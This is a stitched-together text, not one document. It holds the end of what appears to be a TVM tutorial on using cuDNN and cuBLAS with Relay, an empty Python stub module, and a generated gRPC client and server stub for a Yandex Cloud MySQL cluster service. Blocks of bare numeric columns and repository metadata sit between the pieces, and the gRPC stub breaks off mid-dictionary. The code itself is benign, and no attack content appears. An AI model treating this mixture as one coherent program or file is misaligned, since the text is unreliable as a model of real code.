# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 8)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 8)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 8)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 164)]*placeholder.shared[((threadIdx.z*36) + 8)]))
# compute[8] = (compute[8] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 164)]*placeholder.shared[((threadIdx.z*36) + 17)]))
# compute[16] = (compute[16] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 164)]*placeholder.shared[((threadIdx.z*36) + 26)]))
# compute[24] = (compute[24] + (pad_temp.shared[(threadIdx.x + 38)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 56)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# compute[26] = (compute[26] + (pad_temp.shared[(threadIdx.x + 74)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# compute[27] = (compute[27] + (pad_temp.shared[(threadIdx.x + 92)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# compute[28] = (compute[28] + (pad_temp.shared[(threadIdx.x + 110)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# compute[29] = (compute[29] + (pad_temp.shared[(threadIdx.x + 128)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# compute[30] = (compute[30] + (pad_temp.shared[(threadIdx.x + 146)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# compute[31] = (compute[31] + (pad_temp.shared[(threadIdx.x + 164)]*placeholder.shared[((threadIdx.z*36) + 35)]))
# }
# }
# tensor[(((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x)] = max(((compute[0]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 224)] = max(((compute[1]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 448)] = max(((compute[2]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 672)] = max(((compute[3]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 896)] = max(((compute[4]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 1120)] = max(((compute[5]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 1344)] = max(((compute[6]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 1568)] = max(((compute[7]*placeholder[(threadIdx.z*4)]) + placeholder[(threadIdx.z*4)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 50176)] = max(((compute[8]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 50400)] = max(((compute[9]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 50624)] = max(((compute[10]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 50848)] = max(((compute[11]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 51072)] = max(((compute[12]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 51296)] = max(((compute[13]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 51520)] = max(((compute[14]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 51744)] = max(((compute[15]*placeholder[((threadIdx.z*4) + 1)]) + placeholder[((threadIdx.z*4) + 1)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 100352)] = max(((compute[16]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 100576)] = max(((compute[17]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 100800)] = max(((compute[18]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 101024)] = max(((compute[19]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 101248)] = max(((compute[20]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 101472)] = max(((compute[21]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 101696)] = max(((compute[22]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 101920)] = max(((compute[23]*placeholder[((threadIdx.z*4) + 2)]) + placeholder[((threadIdx.z*4) + 2)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 150528)] = max(((compute[24]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 150752)] = max(((compute[25]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 150976)] = max(((compute[26]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 151200)] = max(((compute[27]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 151424)] = max(((compute[28]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 151648)] = max(((compute[29]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 151872)] = max(((compute[30]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# tensor[((((((blockIdx.y*112) + blockIdx.x) + (threadIdx.z*12544))*16) + threadIdx.x) + 152096)] = max(((compute[31]*placeholder[((threadIdx.z*4) + 3)]) + placeholder[((threadIdx.z*4) + 3)]), 0.000000f)
# }
######################################################################
# Use cuDNN for a convolutional layer
# -----------------------------------
# We can use cuDNN to replace convolution kernels with cuDNN ones.
# To do that, all we need to do is to append the option " -libs=cudnn" to the target string.
net, params = testing.create_workload(simple_net)
target = "cuda -libs=cudnn" # use cudnn for convolution
lib = relay.build_module.build(net, target, params=params)
ctx = tvm.context(target, 0)
data = np.random.uniform(-1, 1, size=data_shape).astype("float32")
module = runtime.GraphModule(lib['default'](ctx))
module.set_input("data", data)
module.run()
out_shape = (batch_size, out_channels, 224, 224)
out = module.get_output(0, tvm.nd.empty(out_shape))
out_cudnn = out.asnumpy()
######################################################################
# Note that if you use cuDNN, Relay cannot fuse convolution with layers following it.
# This is because layer fusion happens at the level of TVM internal representation(IR).
# Relay treats external libraries as black box, so there is no way to fuse them with TVM IR.
#
# The pseudo code below shows that cuDNN convolution + bias add + batch norm + ReLU turned into two stages of computation, one for cuDNN call and the other for the rest of operations.
#
# .. code-block:: text
#
# // attr [y] storage_scope = "global"
# allocate y[float32 * 802816]
# produce y {
# // attr [0] extern_scope = 0
# tvm_call_packed("tvm.contrib.cudnn.conv2d.forward", 1, 0, 1, 1, 1, 1, 1, 1, 1, tvm_stack_make_array(placeholder, tvm_stack_make_shape(1, 3, 224, 224), 0, 4, 0.000000f, 0), tvm_stack_make_array(placeholder, tvm_stack_make_shape(16, 3, 3, 3), 0, 4, 0.000000f, 0), tvm_stack_make_array(y, tvm_stack_make_shape(1, 16, 224, 224), 0, 4, 0.000000f, 0))
# }
# produce tensor {
# // attr [iter_var(blockIdx.x, , blockIdx.x)] thread_extent = 256
# // attr [iter_var(threadIdx.x, , threadIdx.x)] thread_extent = 512
# for (ax0.ax1.fused.ax2.fused.ax3.fused.outer, 0, 7) {
# if (likely(((blockIdx.x*512) < ((802816 - (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072)) - threadIdx.x)))) {
# tensor[(((((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/802816)*802816) + (((((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/224) % 224)*224) + ((((blockIdx.x*64) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*32)) % 224))) + ((((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/50176) % 16)*50176))] = max(((y[(((((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/802816)*802816) + (((((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/224) % 224)*224) + ((((blockIdx.x*64) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*32)) % 224))) + ((((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/50176) % 16)*50176))]*placeholder[(((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/50176) % 16)]) + placeholder[(((((blockIdx.x*512) + threadIdx.x) + (ax0.ax1.fused.ax2.fused.ax3.fused.outer*131072))/50176) % 16)]), 0.000000f)
# }
# }
# }
######################################################################
# Verify the result
# -----------------
# We can check that the results of two runs match.
tvm.testing.assert_allclose(out_cuda, out_cudnn, rtol=1e-5)
#####################################################################
# Conclusion
# ----------
# This tutorial covered the usage of cuDNN with Relay.
# We also have support for cuBLAS. If cuBLAS is enabled, it will be used inside a fully connected layer (relay.dense).
# To use cuBLAS, set a target string as "cuda -libs=cublas".
# You can use both cuDNN and cuBLAS with "cuda -libs=cudnn,cublas".
#
# For ROCm backend, we have support for MIOpen and rocBLAS.
# They can be enabled with target "rocm -libs=miopen,rocblas".
#
# Being able to use external libraries is great, but we need to keep in mind some cautions.
#
# First, the use of external libraries may restrict your usage of TVM and Relay.
# For example, MIOpen only supports NCHW layout and fp32 data type at the moment, so you cannot use other layouts or data type in TVM.
#
# Second, and more importantly, external libraries restrict the possibility of operator fusion during graph compilation, as shown above.
# TVM and Relay aim to achieve the best performance on a variety of hardwares, with joint operator level and graph level optimization.
# To achieve this goal, we should continue developing better optimizations for TVM and Relay, while using external libraries as a nice way to fall back to existing implementation when necessary.
| 103.363799
| 1,115
| 0.597708
| 7,564
| 57,677
| 4.502909
| 0.063723
| 0.256312
| 0.112214
| 0.187962
| 0.837228
| 0.831621
| 0.826894
| 0.808133
| 0.802965
| 0.639313
| 0
| 0.096901
| 0.172478
| 57,677
| 557
| 1,116
| 103.549372
| 0.616711
| 0.943548
| 0
| 0.409091
| 0
| 0
| 0.044221
| 0
| 0
| 0
| 0
| 0
| 0.022727
| 1
| 0
| false
| 0
| 0.159091
| 0
| 0.159091
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
bc5777321766d65369bcf7cf16ca819f190c0f93
| 101
|
py
|
Python
|
vision_utils/tensorflow_utils.py
|
miltonbd/computer_vision_utils
|
bcc72fe1df2d84bdb61e934cc916fb4442d080e5
|
[
"Apache-2.0"
] | 1
|
2020-08-12T21:48:32.000Z
|
2020-08-12T21:48:32.000Z
|
vision_utils/tensorflow_utils.py
|
miltonbd/computer_vision_utils
|
bcc72fe1df2d84bdb61e934cc916fb4442d080e5
|
[
"Apache-2.0"
] | null | null | null |
vision_utils/tensorflow_utils.py
|
miltonbd/computer_vision_utils
|
bcc72fe1df2d84bdb61e934cc916fb4442d080e5
|
[
"Apache-2.0"
] | null | null | null |
def get_model_for_training():
return
def load_model():
return
def save_model():
return
| 11.222222
| 29
| 0.683168
| 14
| 101
| 4.571429
| 0.571429
| 0.28125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.227723
| 101
| 9
| 30
| 11.222222
| 0.820513
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
bc6b3fd882478000e59c3a37ec1624f091f5d3db
| 15,936
|
py
|
Python
|
yandex/cloud/mdb/mysql/v1alpha/cluster_service_pb2_grpc.py
|
kbespalov/python-sdk
|
e86563ee850e46a35b4c84053ecd4affdf66a963
|
[
"MIT"
] | null | null | null |
yandex/cloud/mdb/mysql/v1alpha/cluster_service_pb2_grpc.py
|
kbespalov/python-sdk
|
e86563ee850e46a35b4c84053ecd4affdf66a963
|
[
"MIT"
] | null | null | null |
yandex/cloud/mdb/mysql/v1alpha/cluster_service_pb2_grpc.py
|
kbespalov/python-sdk
|
e86563ee850e46a35b4c84053ecd4affdf66a963
|
[
"MIT"
] | null | null | null |
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
from yandex.cloud.mdb.mysql.v1alpha import cluster_pb2 as yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__pb2
from yandex.cloud.mdb.mysql.v1alpha import cluster_service_pb2 as yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2
from yandex.cloud.operation import operation_pb2 as yandex_dot_cloud_dot_operation_dot_operation__pb2
class ClusterServiceStub(object):
"""A set of methods for managing MySQL clusters.
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.Get = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Get',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.GetClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__pb2.Cluster.FromString,
)
self.List = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/List',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClustersRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClustersResponse.FromString,
)
self.Create = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Create',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.CreateClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.Update = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Update',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.UpdateClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.Delete = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Delete',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.DeleteClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.Start = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Start',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.StartClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.Stop = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Stop',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.StopClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.Backup = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Backup',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.BackupClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.Restore = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/Restore',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.RestoreClusterRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.ListLogs = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/ListLogs',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterLogsRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterLogsResponse.FromString,
)
self.ListOperations = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/ListOperations',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterOperationsRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterOperationsResponse.FromString,
)
self.ListBackups = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/ListBackups',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterBackupsRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterBackupsResponse.FromString,
)
self.ListHosts = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/ListHosts',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterHostsRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClusterHostsResponse.FromString,
)
self.AddHosts = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/AddHosts',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.AddClusterHostsRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
self.DeleteHosts = channel.unary_unary(
'/yandex.cloud.mdb.mysql.v1alpha.ClusterService/DeleteHosts',
request_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.DeleteClusterHostsRequest.SerializeToString,
response_deserializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.FromString,
)
class ClusterServiceServicer(object):
"""A set of methods for managing MySQL clusters.
"""
def Get(self, request, context):
"""Returns the specified MySQL cluster.
To get the list of available MySQL clusters, make a [List] request.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def List(self, request, context):
"""Retrieves the list of MySQL clusters that belong to the specified folder.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Create(self, request, context):
"""Creates a MySQL cluster in the specified folder.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Update(self, request, context):
"""Modifies the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Delete(self, request, context):
"""Deletes the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Start(self, request, context):
"""Starts the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Stop(self, request, context):
"""Stops the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Backup(self, request, context):
"""Creates a backup for the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Restore(self, request, context):
"""Creates a new MySQL cluster using the specified backup.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def ListLogs(self, request, context):
"""Retrieves logs for the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def ListOperations(self, request, context):
"""Retrieves the list of operations for the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def ListBackups(self, request, context):
"""Retrieves the list of available backups for the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def ListHosts(self, request, context):
"""Retrieves a list of hosts for the specified MySQL cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def AddHosts(self, request, context):
"""Creates new hosts for a cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def DeleteHosts(self, request, context):
"""Deletes the specified hosts for a cluster.
"""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_ClusterServiceServicer_to_server(servicer, server):
rpc_method_handlers = {
'Get': grpc.unary_unary_rpc_method_handler(
servicer.Get,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.GetClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__pb2.Cluster.SerializeToString,
),
'List': grpc.unary_unary_rpc_method_handler(
servicer.List,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClustersRequest.FromString,
response_serializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.ListClustersResponse.SerializeToString,
),
'Create': grpc.unary_unary_rpc_method_handler(
servicer.Create,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.CreateClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'Update': grpc.unary_unary_rpc_method_handler(
servicer.Update,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.UpdateClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'Delete': grpc.unary_unary_rpc_method_handler(
servicer.Delete,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.DeleteClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'Start': grpc.unary_unary_rpc_method_handler(
servicer.Start,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.StartClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'Stop': grpc.unary_unary_rpc_method_handler(
servicer.Stop,
request_deserializer=yandex_dot_cloud_dot_mdb_dot_mysql_dot_v1alpha_dot_cluster__service__pb2.StopClusterRequest.FromString,
response_serializer=yandex_dot_cloud_dot_operation_dot_operation__pb2.Operation.SerializeToString,
),
'Backup': grpc.unary_unary_rpc_method_handler(
servicer.Backup,
